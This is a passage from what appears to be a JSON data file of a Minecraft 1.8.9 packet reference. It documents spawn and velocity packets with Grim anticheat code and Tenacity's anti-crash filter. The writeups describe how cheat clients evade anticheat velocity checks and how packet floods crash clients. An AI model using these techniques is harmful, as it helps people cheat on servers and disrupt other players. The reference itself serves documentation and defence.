}\n        });\n    }\n\n    private void handleMoveEntity(PacketSendEvent event, int entityId, double deltaX, double deltaY, double deltaZ, Float yaw, Float pitch, boolean isRelative, boolean hasPos) {\n        TrackerData data = player.compensatedEntities.getTrackedEntity(entityId);\n\n        final boolean didNotSendPreWave = hasSentPreWavePacket.compareAndSet(false, true);\n        if (didNotSendPreWave) player.sendTransaction();\n\n        if (data != null) {\n            // Update the tracked server's entity position\n            if (isRelative) {\n                // There is a bug where vehicles may start flying due to mojang setting packet position on the client\n                // (Works at 0 ping but causes funny bugs at any higher ping)\n                // As we don't want vehicles to fly, we need to replace it with a teleport if it is player vehicle\n                //\n                // Don't bother with client controlled vehicles though\n                boolean vanillaVehicleFlight = player.compensatedEntities.serverPlayerVehicle != null\n                        && player.compensatedEntities.serverPlayerVehicle == entityId\n                        && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)\n                        // TODO: https://discord.com/channels/721686193061888071/721686193515003966/1310659538831020123\n                        // Why does the server now send an entity rel move packet matching the player's vehicle movement every time?\n                        && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2)\n                        && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9);\n\n                // ViaVersion sends two relative packets when moving more than 4 blocks\n                // This is broken and causes the client to interpolate like (0, 4) and (1, 3) instead of (1, 7)\n                // This causes impossible hits, so grim must replace this with a teleport entity packet\n                // Not ideal, but neither is 1.8 players on a 1.9+ server.\n                if (vanillaVehicleFlight ||\n                        ((Math.abs(deltaX) >= 3.9375 || Math.abs(deltaY) >= 3.9375 || Math.abs(deltaZ) >= 3.9375) && player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))) {\n                    player.user.writePacket(new WrapperPlayServerEntityTeleport(entityId, new Vector3d(data.getX() + deltaX, data.getY() + deltaY, data.getZ() + deltaZ), yaw == null ? data.getXRot() : yaw, pitch == null ? data.getYRot() : pitch, false));\n                    event.setCancelled(true);\n                    return;\n                }\n\n                data.setX(data.getX() + deltaX);\n                data.setY(data.getY() + deltaY);\n                data.setZ(data.getZ() + deltaZ);\n            } else {\n                data.setX(deltaX);\n                data.setY(deltaY);\n                data.setZ(deltaZ);\n            }\n            if (yaw != null) {\n                data.setXRot(yaw);\n                data.setYRot(pitch);\n            }\n\n            // We can't hang two relative moves on one transaction\n            if (data.getLastTransactionHung() == player.lastTransactionSent.get()) {\n                player.sendTransaction();\n            }\n            data.setLastTransactionHung(player.lastTransactionSent.get());\n        }\n\n        int lastTrans = player.lastTransactionSent.get();\n\n        player.latencyUtils.addRealTimeTask(lastTrans, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            if (entity instanceof PacketEntityTrackXRot xRotEntity && yaw != null) {\n                xRotEntity.packetYaw = yaw;\n                xRotEntity.steps = entity.isBoat ? 10 : 3;\n            }\n\n            entity.onFirstTransaction(isRelative, hasPos, deltaX, deltaY, deltaZ, player);\n        });\n\n        player.latencyUtils.addRealTimeTask(lastTrans + 1, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            entity.onSecondTransaction();\n        });\n    }\n\n    public void addEntity(int entityID, UUID uuid, EntityType type, Vector3d position, float xRot, float yRot, List<EntityData<?>> entityMetadata, int extraData) {\n        if (despawnedEntitiesThisTransaction.contains(entityID)) {\n            player.sendTransaction();\n        }\n\n        player.compensatedEntities.serverPositionsMap.put(entityID, new TrackerData(position.getX(), position.getY(), position.getZ(), xRot, yRot, type, player.lastTransactionSent.get()));\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity entity = player.compensatedEntities.addEntity(entityID, uuid, type, position, xRot, extraData);\n            if (entity instanceof DashableEntity dashable) {\n                player.dashableEntities.addEntity(entityID, dashable);\n            }\n\n            if (entityMetadata != null) {\n                if (EntityMetadataPoseUtil.usesPoseMetadata(entity) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    Pose initialPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata);\n                    if (initialPose != null) {\n                        entity.currentPose = initialPose;\n                    }\n                }\n\n                player.compensatedEntities.updateEntityMetadata(entityID, entityMetadata);\n            }\n        });\n    }\n\n    private void schedulePoseTransition(WrapperPlayServerEntityMetadata entityMetadata, PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) return;\n\n        int entityId = entityMetadata.getEntityId();\n        if (entityId == player.entityID) return;\n\n        Pose newPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata.getEntityMetadata());\n        if (newPose == null) return;\n\n        boolean shouldTrackPoseTransition = false;\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity != null) {\n            shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(entity);\n        } else {\n            // If the client didn't respond to the spawn packet yet, we need to check if we should track the pose transition based on the entity type\n            // is there a better way to do this?\n            TrackerData trackedEntity = player.compensatedEntities.getTrackedEntity(entityId);\n            if (trackedEntity != null) {\n                shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(trackedEntity.getEntityType());\n            }\n        }\n\n        if (!shouldTrackPoseTransition) return;\n\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity target = player.compensatedEntities.getEntity(entityId);\n            if (target == null) {\n                return;\n            }\n\n            target.beginPoseTransition(newPose);\n        });\n\n        event.getTasksAfterSend().add(() -> {\n            player.sendTransaction();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity target = player.compensatedEntities.getEntity(entityId);\n                if (target == null) {\n                    return;\n                }\n\n                target.completePoseTransition(newPose);\n            });\n        });\n    }\n\n    private boolean isDirectlyAffectingPlayer(GrimPlayer player, int entityID) {\n        // The attributes for this entity is active, currently\n        return (player.compensatedEntities.serverPlayerVehicle == null && entityID == player.entityID) ||\n                (player.compensatedEntities.serverPlayerVehicle != null && entityID == player.compensatedEntities.serverPlayerVehicle);\n    }\n\n    public void onEndOfTickEvent(boolean async, boolean flush) {\n        // Only send a transaction at the end of the tick if we are tracking players\n        player.sendTransaction(async);\n        if (flush) player.user.flushPackets();\n    }\n\n    public void tickStartTick() {\n        hasSentPreWavePacket.set(false);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFireworkBoostPing = config.getIntElse(\"max-ping-firework-boost\", 1000);\n    }\n\n}\n\n// NOTE (AI): The SPAWN_LIVING_ENTITY branch is lines 123-125. The file also handles SPAWN_ENTITY, SPAWN_PLAYER and SPAWN_PAINTING in the same dispatch, and the DESTROY_ENTITIES branch (379-415) schedules removal on the destroy transaction.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java",
       "variations": "Shard adds living spawns to compensatedEntities; Hydro tracks them in its entityMap; Kauri routes SPAWN_LIVING_ENTITY through its PacketHandler into the world tracker."
      }
     ]
    }
   },
   "wiki_notes": [
    "Living-entity spawn: VarInt id, unsigned-byte EntityList type (50 creeper through 120 villager), pos x/32, angles x360/256, vel /8000.",
    "Carries a mandatory DataWatcher block rendering health, effects and nametags; tracker skips a duplicate S12 on the spawn tick.",
    "MCP 1.8.9 S0FPacketSpawnMob implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSpawnMob; wire serde is readPacketData/writePacketData via readByte, readInt, readShort, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.createSpawnPacket sends new S0FPacketSpawnMob (line 515): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S0FPacketSpawnMob/",
   "mcp_path": "net/minecraft/network/play/server/S0FPacketSpawnMob.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S10PacketSpawnPainting",
   "hex": "0x10",
   "dec": 16,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Spawn Painting",
   "desc": "Spawns a painting entity with type, position, and facing direction.",
   "tags": [
    "entity",
    "spawn",
    "painting"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "title",
     "type": "String",
     "desc": "Painting art name"
    },
    {
     "name": "pos",
     "type": "BlockPos",
     "desc": "Painting anchor position"
    },
    {
     "name": "direction",
     "type": "byte",
     "desc": "0=south, 1=west, 2=north, 3=east"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Title",
     "String",
     "Art name (\"Kebab\", \"Alban\", etc.)"
    ],
    [
     "Position",
     "BlockPos (long)",
     ""
    ],
    [
     "Direction",
     "byte",
     "0-3"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSpawnPainting()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The spawn packet for painting entities, and the only spawn packet that identifies its entity by a String art title instead of a numeric type code. The payload is entity id, the art name (Kebab, Alban, Aztec and friends), a BlockPos anchor and a direction byte (0=south, 1=west, 2=north, 3=east). EntityTrackerEntry.getPacket emits it for EntityPainting, and the client resolves the title through the EnumArt table, which fixes the artwork's pixel dimensions and therefore how much wall space the painting occupies."
     },
     {
      "h": "Vanilla handling",
      "p": "handleSpawnPainting reads the title, position and direction, then constructs an EntityPainting at the anchor block with the facing applied. The client-side placement uses the EnumArt dimensions to compute the entity's bounding box against the wall; a title that does not map to a known art falls back to the default 16x16 Kebab art. Server side the packet is produced straight from the tracked EntityPainting."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 reference clients reference S10 outside the bundled vanilla files and Rise 6.1.30/6.2.4 NetworkAPI.java, which lists the class in the scripting registry. This is the honest, expected outcome: paintings are stationary cosmetic entities with no combat value, ESP implementations filter them from entity lists, and KillAura never targets them. In this corpus the packet is pure vanilla."
     },
     {
      "h": "Exploit surface",
      "p": "Minimal. The art-title String is a lookup key into a fixed EnumArt table, so a bogus title degrades to default art rather than crashing. The direction byte is used as an index into a facing array and is not range-checked by the vanilla handler, the only hardening gap of note. Realistically there is nothing here for either cheats or anti-cheats; the packet matters only for protocol completeness and for proxies that must re-serialize it verbatim."
     }
    ],
    "overview": "The spawn packet for paintings, identified by art title rather than type code. Zero module hits across the 8 clients: the only non-vanilla reference is Rise's NetworkAPI script registry. Documented honestly as a pure-vanilla packet whose only notable detail is the EnumArt dimension lookup and the unvalidated direction byte.",
    "server_handling": "EntityTrackerEntry.getPacket returns new S10PacketSpawnPainting((EntityPainting) trackedEntity) when the tracked entity is a painting; the constructor snapshots the art title from the EntityPainting's EnumArt, the block position and the facing direction. The client handler creates the entity and places it against the wall using the EnumArt dimensions.",
    "protocol_notes": "VarInt entity id, then a length-prefixed String art title, then a BlockPos packed as a single long, then a direction byte. Direction semantics are reversed from the visual: 0 faces south, 1 west, 2 north, 3 east. The title string is not validated against EnumArt by the handler, so unknown art names silently fall back to the default painting.",
    "anticheat_landscape": "Nothing to flag: the packet is clientbound, cosmetic and server-authored. Anti-cheats and anti-exploit plugins ignore paintings entirely, and no reference client touches the packet. The only mitigation in the wider ecosystem is the generic entity-spawn rate cap that also covers painting floods used as a minor lag vector.",
    "modules": [],
    "client_variations": "Only Rise 6.1.30/6.2.4 differ from vanilla, and only by listing S10PacketSpawnPainting.class in NetworkAPI's script packet registry; every other corpus reference is the bundled vanilla code.",
    "related": [
     "S0EPacketSpawnObject",
     "S0FPacketSpawnMob",
     "S13PacketDestroyEntities"
    ],
    "anticheat": {
     "overview": "The painting spawn packet has zero hits in the 50-anticheat corpus. Paintings are cosmetic stationary entities; the packet carries an art title, a BlockPos and a direction byte, and no anticheat references it. The only hardening gap of note, the unvalidated direction byte, is an exploit-surface footnote, not a detection surface.",
     "checks": []
    }
   },
   "wiki_notes": [
    "VarInt entityId, art-title string (Kebab, Alban, etc.), anchor BlockPos as long, direction byte 0 south 1 west 2 north 3 east.",
    "Client resolves size from the EnumArt table; unknown titles fall back to default art instead of crashing.",
    "MCP 1.8.9 S10PacketSpawnPainting implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSpawnPainting; wire serde is readPacketData/writePacketData via readBlockPos, readStringFromBuffer, readUnsignedByte, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S10PacketSpawnPainting (line 603): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S10PacketSpawnPainting/",
   "mcp_path": "net/minecraft/network/play/server/S10PacketSpawnPainting.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S11PacketSpawnExperienceOrb",
   "hex": "0x11",
   "dec": 17,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Spawn Experience Orb",
   "desc": "Spawns an experience orb entity with position and XP value.",
   "tags": [
    "entity",
    "spawn",
    "xp"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "x/y/z",
     "type": "fixed-point int",
     "desc": "Position × 32"
    },
    {
     "name": "xpValue",
     "type": "short",
     "desc": "Experience point value"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "X",
     "Int",
     "x*32"
    ],
    [
     "Y",
     "Int",
     "y*32"
    ],
    [
     "Z",
     "Int",
     "z*32"
    ],
    [
     "Count",
     "short",
     "XP value"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSpawnExperienceOrb()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Spawns experience orbs: entity id, fixed-point position (x32) and a short XP value. The server splits orb value at 2000 when an XP source drops, so a large experience drop produces several S11 packets instead of one huge orb. EntityTrackerEntry.getPacket emits it for EntityXPOrb. The packet is frequent on farming servers and essentially free of state: no rotation, no velocity, no metadata."
     },
     {
      "h": "Vanilla handling",
      "p": "handleSpawnExperienceOrb creates an EntityXPOrb, sets its position and assigns the xpValue. The client's XP bar is driven by pickup events and S06 health/xp updates, not by this packet, so S11 has no visible effect beyond the floating orb entity. Server side, orb value splitting happens at drop time, so the value in the packet is already the split value."
     },
     {
      "h": "Why clients touch it",
      "p": "Exactly one module in the corpus references S11: Tenacity 6.0 AntiExploit, which rate-limits orb spawns as a crash-exploit guard (two S11 packets within 1 ms increments a violation counter that cancels the second packet). No AutoFarm or XP-tracker module exists in the 8 clients: XP collection modules iterate EntityXPOrb instances in the world entity list rather than hooking spawn packets, mirroring how ESP treats every other spawn packet."
     },
     {
      "h": "Exploit surface",
      "p": "The orb-flood: a hostile server or proxy streaming S11 at high rate creates hundreds of EntityXPOrb instances per second, each with its own render state, which is the classic XP-lag crash vector. Tenacity's 1 ms rate gate is the canonical mitigation. The xpValue short is unsigned server-side; values above 32767 wrap negative client-side, which makes the orb render but breaks pickup logic. Nothing here is flaggable by anti-cheats because the packet is clientbound and server-authored."
     }
    ],
    "overview": "Spawns experience orbs, one of the most frequent and least stateful clientbound packets. Only one corpus hit: Tenacity 6.0 AntiExploit rate-limits S11 as a crash-exploit guard. No XP tracker exists in the 8 clients because farming modules iterate EntityXPOrb instances in the world list instead of hooking spawn packets.",
    "server_handling": "EntityTrackerEntry.getPacket returns new S11PacketSpawnExperienceOrb((EntityXPOrb) trackedEntity) for tracked XP orbs, snapshotting the orb's value. The server splits any XP drop exceeding 2000 into multiple orbs before they are tracked, so each S11 carries a value at or below the split cap. The client handler creates the orb and assigns the value with no validation.",
    "protocol_notes": "VarInt entity id, three x32 position ints, then a short XP value. No rotations, velocity or metadata fields. Because the value is a signed short, values in the 32768-65535 range arrive negative; the vanilla client does not guard against it. The packet is emitted in bursts when an XP source is destroyed, which is what makes it a flood-exploit vector.",
    "anticheat_landscape": "Anti-cheats ignore S11 entirely: it is clientbound, cosmetic and cannot be influenced by the player. The relevant defense is client-side (Tenacity's rate gate) and server-side (spawn rate caps on XP sources). No bypass trade-off exists for this packet.",
    "modules": [
     {
      "name": "AntiExploit",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Rate-limit XP orb spawns and other clientbound floods so a hostile server cannot lag or crash the client.",
      "how_it_works": "A PacketReceiveEvent handler tracks the timestamp of the last S11. If a new one arrives within 1 ms, invalidExperience increments and the packet is cancelled on the second violation with a chat warning; a gap longer than 1 ms resets the counter. The same handler sanitizes resource pack URIs, S43 camera teleports, S2A particle floods, S27 explosion strength and S18 teleport coordinates.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java =====\npackage dev.tenacity.module.impl.misc;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.*;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\npublic class AntiExploit extends Module {\n\n\n\n    private long lastExplosion = 0, lastExperience = 0;\n    private int invalidExperience = 0;\n   final int PACKET_THRESHOLD = 100;\n    final long CHECK_INTERVAL = 1000;\n    int packetCount = 0;\n\n    public AntiExploit() {\n        super(\"AntiExploit\", \"Prevents server exploits\", ModuleCategory.MISC);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onReceivePacket = event -> {\n        Packet<?> packet = event.getPacket();\n        handlePacketCount();\n        if(packet instanceof S48PacketResourcePackSend) {\n            S48PacketResourcePackSend resourcePack = (S48PacketResourcePackSend) packet;\n\n            try {\n                URI uri = new URI(resourcePack.getURL());\n                String scheme = uri.getScheme();\n\n                boolean isLevelProtocol = scheme.equalsIgnoreCase(\"level\");\n                boolean isHttpProtocol = scheme.equalsIgnoreCase(\"http\");\n                boolean isHttpsProtocol = scheme.equalsIgnoreCase(\"https\");\n\n                if(!isHttpProtocol && !isHttpsProtocol && !isLevelProtocol) {\n                    ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                    event.cancel();\n                } else if(isLevelProtocol && (resourcePack.getURL().contains(\"..\") || !((S48PacketResourcePackSend) packet).getURL().endsWith(\"/resources.zip\"))) {\n                    ChatUtil.print(\"§cBlocked Exploit: File Access\");\n                    event.cancel();\n                    mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n                }\n            } catch (URISyntaxException exception) {\n                ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                event.cancel();\n                mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            }\n        } else if(packet instanceof S43PacketCamera && !mc.thePlayer.isSpectator()) {\n            ChatUtil.print(\"§cBlocked Exploit: Crash\");\n            event.cancel();\n        } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n            if(Math.abs(particles.getParticleSpeed()) >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(((S2APacketParticles) packet).getParticleCount() > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        } else if(packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = (S27PacketExplosion) packet;\n\n            if(Math.abs(explosion.getStrength()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(System.currentTimeMillis() - lastExplosion <= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n\n            if(Math.abs(particles.getParticleSpeed()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(particles.getParticleCount() >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        }\n\n            lastExplosion = System.currentTimeMillis();\n        } else if(packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport teleport = (S18PacketEntityTeleport) packet;\n\n            double packetX = Math.abs(teleport.getX());\n            double packetY = Math.abs(teleport.getY());\n            double packetZ = Math.abs(teleport.getZ());\n\n            if(packetX > 30000000 || packetY > 30000000 || packetZ > 30000000) {\n                ChatUtil.print(\"§cBlocked Exploit: Teleport\");\n                event.cancel();\n            }\n        } else if(packet instanceof S11PacketSpawnExperienceOrb) {\n            if(System.currentTimeMillis() - lastExperience <= 1) {\n                invalidExperience++;\n\n                if(invalidExperience >= 2) {\n                    ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                    event.cancel();\n                }\n            } else {\n                invalidExperience = 0;\n            }\n            lastExperience = System.currentTimeMillis();\n        }\n\n    };\n\n    private void triggerKick() {\n        ChatUtil.print(\"§cAbnormal packet activity detected. Kicking player...\");\n    }\n        private void handlePacketCount() {\n            long currentTime = System.currentTimeMillis();\n\n            long lastPacketCheckTime = 0;\n            if (currentTime - lastPacketCheckTime > CHECK_INTERVAL) {\n                packetCount = 0;\n                lastPacketCheckTime = currentTime;\n            }\n            packetCount++;\n            if (packetCount > PACKET_THRESHOLD) {\n                triggerKick();\n                packetCount = 0;\n        }\n\n    }\n\n}\n// NOTE (AI): The S11 branch is a crash-exploit guard: two XP orb spawn packets inside 1 ms increment invalidExperience, and the second violation cancels the packet and prints a chat warning. The module is a general clientbound sanitizer covering resource pack URI validation, camera teleport abuse, particle and explosion floods, and giant teleport coordinates, with S11 as one of the flood classes.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java",
      "vanilla_hook": "PacketReceiveEvent (Tenacity's IEventListener bus).",
      "anti_cheat_notes": "Client-side exploit hardening, not an anti-cheat bypass: cancelling S11 removes orbs from the renderer, which a server can observe as missing orb pickups only if it tracks them, which vanilla does not.",
      "variations": "No other client in the corpus touches S11. Tenacity's own PacketRate/anti-flood logic is folded into this single module."
     }
    ],
    "general_hooks": "PacketReceiveEvent is the only hook surface in the corpus, used by Tenacity 6.0 AntiExploit.",
    "client_variations": "All clients except Tenacity 6.0 reference S11 only through bundled vanilla code; Rise additionally lists it in NetworkAPI's script packet registry.",
    "related": [
     "S0EPacketSpawnObject",
     "S13PacketDestroyEntities"
    ],
    "anticheat": {
     "overview": "The experience-orb spawn packet has zero hits in the 50-anticheat corpus: no anticheat references S11PacketSpawnExperienceOrb or its ProtocolLib name. The packet is clientbound, server-authored, and carries no player claim that a server-side check could validate. Anti-cheats ignore it entirely; the only defense that exists in the wider ecosystem is client-side rate limiting against server floods, which is outside the anticheat corpus.",
     "checks": []
    }
   },
   "wiki_notes": [
    "VarInt entityId, three fixed-point ints decoded x/32, then a short XP count; no rotation, velocity or metadata fields.",
    "Server splits drops above 2000 XP into multiple orbs, so big rewards arrive as bursts; classic orb-flood lag vector.",
    "MCP 1.8.9 S11PacketSpawnExperienceOrb implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSpawnExperienceOrb; wire serde is readPacketData/writePacketData via readInt, readShort, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S11PacketSpawnExperienceOrb (line 627): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S11PacketSpawnExperienceOrb/",
   "mcp_path": "net/minecraft/network/play/server/S11PacketSpawnExperienceOrb.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S12PacketEntityVelocity",
   "hex": "0x12",
   "dec": 18,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Velocity",
   "desc": "Sets an entity's velocity (e.g., from knockback, explosion, piston push).",
   "tags": [
    "entity",
    "movement",
    "knockback",
    "velocity"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": ""
    },
    {
     "name": "motionX",
     "type": "short",
     "desc": "Velocity X × 8000"
    },
    {
     "name": "motionY",
     "type": "short",
     "desc": "Velocity Y × 8000"
    },
    {
     "name": "motionZ",
     "type": "short",
     "desc": "Velocity Z × 8000"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Velocity X",
     "short",
     "× 8000"
    ],
    [
     "Velocity Y",
     "short",
     "× 8000"
    ],
    [
     "Velocity Z",
     "short",
     "× 8000"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityVelocity()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Velocities are encoded as (value * 8000). Real velocity = encoded / 8000.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The velocity/knockback packet: entity id plus three motion shorts at x8000. The server emits it in three situations: EntityTrackerEntry broadcasts when a tracked entity's motion changes beyond a threshold (sendVelocityUpdates with lastTrackedEntityMotionX/Y/Z), EntityPlayer.attackEntityFrom sends it to the damaged player with the knockback vector, and explosions apply their push through S27. handleEntityVelocity overwrites the target entity's motion directly, which makes this the single most important clientbound packet for anti-knockback work."
     },
     {
      "h": "Vanilla handling",
      "p": "EntityTrackerEntry compares the tracked entity's current motion to the last tracked values each tick and sends S12 when the delta crosses the threshold; EntityPlayer.attackEntityFrom sends the knockback vector straight to the damaged player's connection. On the client, handleEntityVelocity sets motionX/Y/Z = value / 8000.0 with no interpolation and no validation, so the packet is a direct write into the physics state that every movement check in the tick loop reads."
     },
     {
      "h": "Why clients touch it",
      "p": "The most-handled clientbound packet in the corpus after S08. Four families: (1) cancel-or-scale anti-knockback (Memeware, Nekoware, Spicy, Tenacity, Rise 5.99 Custom); (2) per-anticheat timing games that cancel selectively or replay the knockback the way the anticheat expects (Rise 5.99 Vulcan/Tick Cancel/Stack/Follow First Tick/Ground, Sigma AACPush/AACFlag, the Rise 6.x ten-mode Velocity suite); (3) movement modules that consume S12 as a boost trigger (Rise 6.x GrimFlight TNT, WatchdogLongJump, WatchdogFireball, MatrixFlight, MineLandFlight, WatchdogBowLongJump; Rise 5.99 Fly Minemenclub and LongJump Hycraft/Vulcan; Sigma Fly; Tenacity FlightModule); (4) infrastructure: Rise's PingSpoofComponent buffers S12 in the velocity class, EntityTickComponent and ItemDamageComponent observe it, and Timer/Breaker/HurtCamera cancel it as collateral. November Recode 2.0's VelocityModule adds REDUCE, REVERSE, CANCEL and the per-anticheat GRIM, VULCAN, WATCHDOG and WATCHDOG_SAFE modes, with GRIM buffering S32 transactions and VULCAN cancelling the C0F echo."
     },
     {
      "h": "Exploit surface",
      "p": "The server recomputes knockback from attack packets and expects the resulting motion to appear in the player's reported positions over the next ticks. Cancelling S12 desyncs those reports, which is exactly what velocity checks measure, so the arms race is about timing: Tick Cancel and Stack modes cancel the first N velocity packets and let one through to satisfy the check, Sigma's AACFlag injects a NaN position to blind the check, and WatchdogVelocity modes apply the knockback client-side exactly as the server computes it. The companion S27PacketExplosion carries its own knockback and must be handled separately, which is why every serious module pairs S12 and S27. Rise 5.99 even ships an anticheat-side velocity recorder in dev/rise/anticheat/data/PlayerData.java and a dcOnVeloCheck disconnect in AutoHypixel that reacts to velocity-based server checks."
     }
    ],
    "overview": "The knockback packet: three shorts at x8000 written directly into entity motion. The most-handled clientbound packet in the 8-client corpus, spanning cancel-or-scale anti-knockback (Memeware, Nekoware, Spicy, Tenacity, Rise 5.99), per-anticheat timing suites (Sigma AAC modes, Rise 5.99 modes, the Rise 6.x ten-mode Velocity module), movement modules that use S12 as a boost trigger (GrimFlight TNT, WatchdogLongJump, WatchdogFireball, Sigma Fly), and component infrastructure (PingSpoofComponent buffers it as the velocity class).",
    "server_handling": "EntityTrackerEntry keeps lastTrackedEntityMotionX/Y/Z and sends S12 to tracked players when the entity's motion changes beyond a threshold (sendVelocityUpdates). EntityPlayer.attackEntityFrom sends S12 to the damaged player with the knockback vector from the attacker's motion. The client applies value / 8000.0 directly to motionX/Y/Z with no validation, so the packet is a trusted write into the physics state. Explosion knockback travels separately in S27 and is not covered by S12.",
    "protocol_notes": "VarInt entity id plus three shorts at x8000, no rotations, no metadata. Values are signed, so negative motion (pulled, pushed back) encodes naturally. The client divides by 8000.0 on apply; the short range limits motion to roughly -4.096 to 4.096 blocks/tick. Because the write is direct, packet order matters: an S12 arriving after the tick's movement code runs applies one tick late, which knockback-timing modules exploit.",
    "anticheat_landscape": "Velocity checks reconcile the knockback vector with the player's reported position over the following ticks. Cancelling S12 is instantly measurable, so modern modes instead cancel selectively (first N packets, then pass one), reverse the vector (Sigma AACPush converts it into a strafe boost), or replay the exact server motion (WatchdogVelocity). Grim and Vulcan are sensitive to delayed application, which is why Rise 6.x splits the Velocity module into per-anticheat modes (GrimVelocity, VulcanVelocity, MMCVelocity, RedeskyVelocity, UniversoCraftVelocity, WatchdogPredictionVelocity) and why Rise 5.99's own anticheat records S12 in PlayerData.java for its checks.",
    "modules": [
     {
      "name": "Velocity / AntiKnockback (cancel and scale)",
